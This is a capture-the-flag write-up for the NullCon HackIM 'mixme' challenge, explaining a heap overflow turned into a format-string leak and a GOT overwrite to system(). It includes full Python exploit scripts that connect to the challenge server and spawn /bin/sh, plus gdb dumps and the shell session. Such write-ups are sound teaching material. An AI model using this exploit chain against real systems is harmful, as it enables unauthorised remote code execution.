mixme was a 400 points exploitation challenge of the NullCon HackIM ctf. We solved it with just 20 minutes on the clock!
When started, mixme present the following:
1234567891011121314151617
==========================================
======== Uncle Podger's Data Store =======
==========================================
Select op (store/get/edit/exit): store
Name: a
Size: 4
Enter data: AAAA
Select op (store/get/edit/exit): get
Name: a
Size: 4
AAAASelect op (store/get/edit/exit): get
Name: a
Size: 4
Not found
Select op (store/get/edit/exit): Invalid input
Select op (store/get/edit/exit):
Again, some kind of note storage. The binary was first reverse-engineered by superkojiman, who immediately noticed something odd: upon geting a note, the program erases the note by free()ing the memory and NULLing the first few bytes. The rest of the bytes were left intact. This led us to think about possible use-after-free scenarios. Turns out it was something different…
I started tinkering with the binary. I could store notes and get them back, but only if I supplied the right size. However, I noticed that I could edit a note with a larger value than was allocated. The heap looks like this after allocating three notes a, b and c with length 4 and contents AAAA, BBBB, and CCCC, respectively:
At 0x8314030, we see the first note’s name, a. The zeroeth note is called HEAD and precedes our first note. Each note is contained within a struct, which contains pointers to the previous and next note (a doubly linked list). The meta-data for note a contains this pointer: 0x08314058, which points to the data associated with that note: AAAA. The meta-data for the note looks something like this:
This also is true for the next note, b, which is immediately after a in memory. We can overwrite the meta-data of note b by editing note a.
Overflowing the heap
If we supply 40 bytes when editing a and supplying forty times 0x41, we overwrite several parts of the meta-data of note b:
12345678910111213141516
# after editing 'a' with 40 bytes where 4 is allocated:0x8314000:0x000000000x000000290x444145480x000000000x8314010:0x000000000x000000000x000000000x000000000x8314020:0x083140a00x083140a00x000000000x000000290x8314030:0x000000610x000000000x000000000x000000000x8314040:0x000000040x083140580x083140680x083140080x8314050:0x000000000x000000110x414141410x414141410x8314060:0x414141410x414141410x414141410x414141410x8314070:0x414141410x414141410x414141410x414141410x8314080:0x083140a00x083140080x000000000x000000110x8314090:0x424242420x424242420x424242420x424242420x83140a0:0x424242420x424242420x424242420x424242420x83140b0:0x424242420x083140c80x083140080x083140080x83140c0:0x000000000x000000110x434343430x000000000x83140d0:0x000000000x00020f310x000000000x000000000x83140e0:0x000000000x000000000x000000000x00000000
If we now try to get note b, the binary will segfault because the pointer to the note’s data is set to 0x41414141. We can use this to make note b point to free@got with a bit of python. The binary is started using socat to make it listen on a port.
12345678910111213141516
# set 'a' with large buffer, overwriting meta-data of 'b':0x8314000:0x000000000x000000290x444145480x000000000x8314010:0x000000000x000000000x000000000x000000000x8314020:0x083140a00x083140a00x000000000x000000290x8314030:0x000000610x000000000x000000000x000000000x8314040:0x000000040x083140580x083140680x083140080x8314050:0x000000000x000000110x414141410x414141410x8314060:0x414141410x000000290x000000620x414141410x8314070:0x414141410x414141410x000000240x083140900x8314080:0x083140a00x083140080x000000000x000000110x8314090:0x424242420x424242420x424242420x424242420x83140a0:0x424242420x424242420x424242420x424242420x83140b0:0x424242420x083140c80x083140080x083140080x83140c0:0x000000000x000000110x434343430x000000000x83140d0:0x000000000x00020f310x000000000x000000000x83140e0:0x000000000x000000000x000000000x00000000
Notice that I’ve kept the bytes at 0x8314064 and 0x8314068 the same: 0x00000029 0x00000062. If these are overwritten, then the binary cannot find note b anymore, which effectively stops our attack! I overwrote the pointer to the data with 0x804b020. This is the pointer to free() in the Global Offset Table. Remember, after every get sent to the binary, free() is called. By overwriting the pointer to the note data, we can set any memory to arbitrary values with an edit b command to the binary!
Control of execution
I tested this hypothesis with the following python:
importreimportstringimportstructimportsocketimporttimeimporttelnetlibimportsysdefp(x):returnstruct.pack('<L',x)# function to send commands to the binarydefz(sock,x):sock.send(x+'\n')time.sleep(0.01)data=sock.recv(200)time.sleep(0.01)returndata# connect to remote hosts=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('localhost',9005))# receive banners.recv(512)# ask the binary to store three notes# we'll overflow a into b later onz(s,"store")z(s,"a")z(s,"4")z(s,"AAAA")z(s,"store")z(s,"b")z(s,"4")z(s,"BBBB")z(s,"store")z(s,"c")z(s,"4")z(s,"CCCC")# edit a with a large value# this overflows and overwrites the note_info struct of b# the pointer to the data is overwriting with free@gotprint"[+] overflowing a to set b to free@got"z(s,'edit')z(s,'a')z(s,'40')z(s,"A"*12+"\x29\x00\x00\x00\x62\x00\x00\x00"+"A"*12+p(4)+p(0x804b020))# ^ overflow ^ restore 0x29, 'b' ^ size of b ^ free@got# overwrite free@got with printfprint"[+] replacing free() with printf()"z(s,'edit')z(s,'b')z(s,'4')z(s,'BBBB')z(s,'get')z(s,'c')z(s,'4')
This made the binary crash. The coredump reported the following:
12345678910111213141516171819202122232425
#0 0x42424242 in ?? ()gdb-peda$ireax0x843b0c80x843b0c8ecx0x843b0c80x843b0c8edx0x40x4ebx0xb779cff40xb779cff4esp0xbf95245c0xbf95245cebp0xbf9524980xbf952498esi0x00x0edi0x00x0eip0x424242420x42424242eflags0x10207[CFPFIFRF]cs0x730x73ss0x7b0x7bds0x7b0x7bes0x7b0x7bfs0x00x0gs0x330x33gdb-peda$psystem$1={<textvariable,nodebuginfo>}0xb7636060<system>gdb-peda$x/4x$esp0xbf95245c:0x08048bb80x0843b0c80x0843b0c80x00000004gdb-peda$x/4x$eax0x843b0c8:0x434343430x00000000
Bloody awesome! We not only have control over EIP, but also eax, ecx and the first argument on the stack point to memory that we control. This will come in handy later.
Turning the heap overflow into a format string vulnerability
With what should I overwrote the got pointer to free() though? I looked for ROP gadgets, but there weren’t enough to pivot the stack into the heap and spawn a shell, or open/read/write the flag to stdout. Furthermore, I assumed ASLR was enabled so I had to leak libc addresses first.
After thinking about it, I chose to overwrite free@got with printf@plt. This turns the heap overflow into a format string vulnerability! Maybe this is where the challenge name comes from…
After setting free@got to printf@plt, whenever I ask the binary to get a note, I can print whatever content is associated with that note (because free() is called with the pointer to the content of the note).
I examined the stack by supplying a format string consisting of a bunch of %x’s. Obviously, I couldn’t dig up my own format string from the stack, because the format string itself is on the heap!
What’s that gem?
Examining the stack, I dumped the following data:
12
# local binary85850c8-122-b75c77b0-122-85850a0-85850a0-63...<snip>
That third address looks promising! It points into libc. Unfortunately, there’s a problem. Running the script against the server gave a different address:
We notice two things: ALSR is on and the remote binary seems to have a different libc than my local box (which was an Ubuntu 12.04 VM). I turned the format string into %3$s to find out which bytes were on the local and remote libc address. For the local binary, it returned 0x168bc085. For the remote binary, however, it returned 0x7501c083. These differences pointed towards different versions of libc. This was a nightmare! How am I supposed to find anything useful in libc without access to the specific library?
Finding the correct libc
I decided to try and identify the libc version. With less than 60 minutes to go, I went for it. If I had the right version of libc, I had everything to leak a libc address, add an offset to get system() and spawn a shell. I tried to nmap the remote server, which seemed too slow. However, ssh was enabled:
123456789101112131415
bas@tritonal:~/tmp/nullcon/mixme$ ssh test@54.163.248.69 -vvv
OpenSSH_6.0p1 Debian-4+deb7u2, OpenSSL 1.0.1e 11 Feb 2013
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: Applying options for *
debug2: ssh_connect: needpriv 0
debug1: Connecting to 54.163.248.69 [54.163.248.69] port 22.
debug1: Connection established.
debug1: identity file /home/bas/.ssh/id_rsa type -1
debug1: identity file /home/bas/.ssh/id_rsa-cert type -1
debug1: identity file /home/bas/.ssh/id_dsa type -1
debug1: identity file /home/bas/.ssh/id_dsa-cert type -1
debug1: identity file /home/bas/.ssh/id_ecdsa type -1
debug1: identity file /home/bas/.ssh/id_ecdsa-cert type -1
debug1: Remote protocol version 2.0, remote software version OpenSSH_6.6.1p1 Ubuntu-2ubuntu2
<snip>
Googling OpenSSH_6.6.1p1 Ubuntu-2ubuntu2 led me to believe that Ubuntu 14.04 was being run. I downloaded all the i386 libc version I could find, unpacked them and searched them for the bytes I just leaked:
Those bytes (0x7501c083) where at an offset of xxxx6024 in the binary, which looked very much like the third address on the stack dumped from the remote binary. This had to be the right libc version! I loaded up the binary on my Ubuntu VM with libc-2.19-0ubuntu6.4.so:
1
LD_PRELOAD=./libc-2.19-0ubuntu6.14.so ./mixme
and attached gdb to dump the address of system(). Using the aforementioned value from the stack, I calculated the offset to system(). I quickly modified my script to include this, overwriting free@got with system(). When I now made a note with the value /bin/sh and asked the binary to get that note, it wants to free() it. However, free@got is replaced with system(), effectively making the binary call system('/bin/sh');!
So, in true dirty-ctf-style, the following python script was written after hours of frantic tracing with gdb and coding in python.
importreimportstringimportstructimportsocketimporttimeimporttelnetlibimportsysdefp(x):returnstruct.pack('<L',x)# function to send commands to the binarydefz(sock,x):sock.send(x+'\n')time.sleep(0.01)data=sock.recv(200)time.sleep(0.01)returndata# connect to remote hosts=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('54.163.248.69',9005))# receive banners.recv(512)# ask the binary to store three notes# we'll overflow a into b later onz(s,"store")z(s,"a")z(s,"4")z(s,"AAAA")z(s,"store")z(s,"b")z(s,"4")z(s,"BBBB")# the third note will hold our format stringz(s,"store")z(s,"c")format_str="--%3$x"z(s,str(len(format_str)))z(s,format_str)# edit a with a large value# this overflows and overwrites the note_info struct of b# the pointer to the data is overwriting with free@gotprint"[+] overflowing a to set b to free@got"z(s,'edit')z(s,'a')z(s,'40')z(s,"A"*12+"\x29\x00\x00\x00\x62\x00\x00\x00"+"A"*12+p(4)+p(0x804b020))# ^ overflow ^ restore 0x29, 'b' ^ size of b ^ free@got# overwrite free@got with printfprint"[+] replacing free() with printf()"z(s,'edit')z(s,'b')z(s,'4')z(s,p(0x080485f0))# free@got overwritten with printf# now 'get' c and trigger the format string vulnerabilityprint"[+] triggering format string"z(s,"get")z(s,"c")data=z(s,str(len(format_str)))time.sleep(0.1)# this proved to be a bit finicky:data+=s.recv(256)data+=s.recv(256)printdata# grab leaked libc addressm=re.findall(r'x--(.*)cSel',data)ifm:printmleak="0x"+m[0]leak_hex=int(leak,16)print"[+] found first addr: {}".format(hex(leak_hex))system=leak_hex-155428print"[+] system @ {}".format(hex(system))# repeat the same trick, but this time, overwrite free@got with system()# first note contains /bin/sh, used as argument for system()z(s,"store")z(s,"sh")z(s,"7")z(s,"/bin/sh")z(s,"store")z(s,"t")z(s,"4")z(s,"TTTT")z(s,"store")z(s,"q")z(s,"4")z(s,"QQQQ")print"[+] overflowing t to set q to free@got"z(s,'edit')z(s,'t')z(s,'40')z(s,"A"*12+"\x29\x00\x00\x00\x71\x00\x00\x00"+"A"*12+p(4)+p(0x804b020))# ^ overflow ^ restore 'q' ^ size of q ^ free@gotprint"[+] replacing free() with system()"z(s,'edit')z(s,'q')z(s,'4')z(s,p(system))# free@got overwritten with system# trigger system('/bin/sh')z(s,'get')z(s,'sh')# this note contains '/bin/sh' and those contents are passed to system()z(s,'7')# shell spawned, interact with it!t=telnetlib.Telnet()t.sock=st.interact()s.close()
I ran it, and to my surprise, I got it right the first time! I dropped into a shell on the remote box:
123456789101112131415
root@ubuntu-VirtualBox:/home/ubuntu/nullcon/mixme# python exploit.py
[+] overflowing a to set b to free@got
[+] replacing free() with printf()[+] triggering format string
Name: Size: --%3$x--b768d024cSelect op (store/get/edit/exit):
['b768d024'][+] found first addr: 0xb768d024L
[+] system @ 0xb7667100L
[+] overflowing t to set q to free@got
[+] replacing free() with system()/bin/sh
id
uid=1005gid=1005groups=0
cat flag.txt
aw3s0m3++_hipp1e_pwn_r0ckst4r
The flag was aw3s0m3++_hipp1e_pwn_r0ckst4r. This one was really though and I’m glad I managed to beat it with just 20 minutes left for the ctf!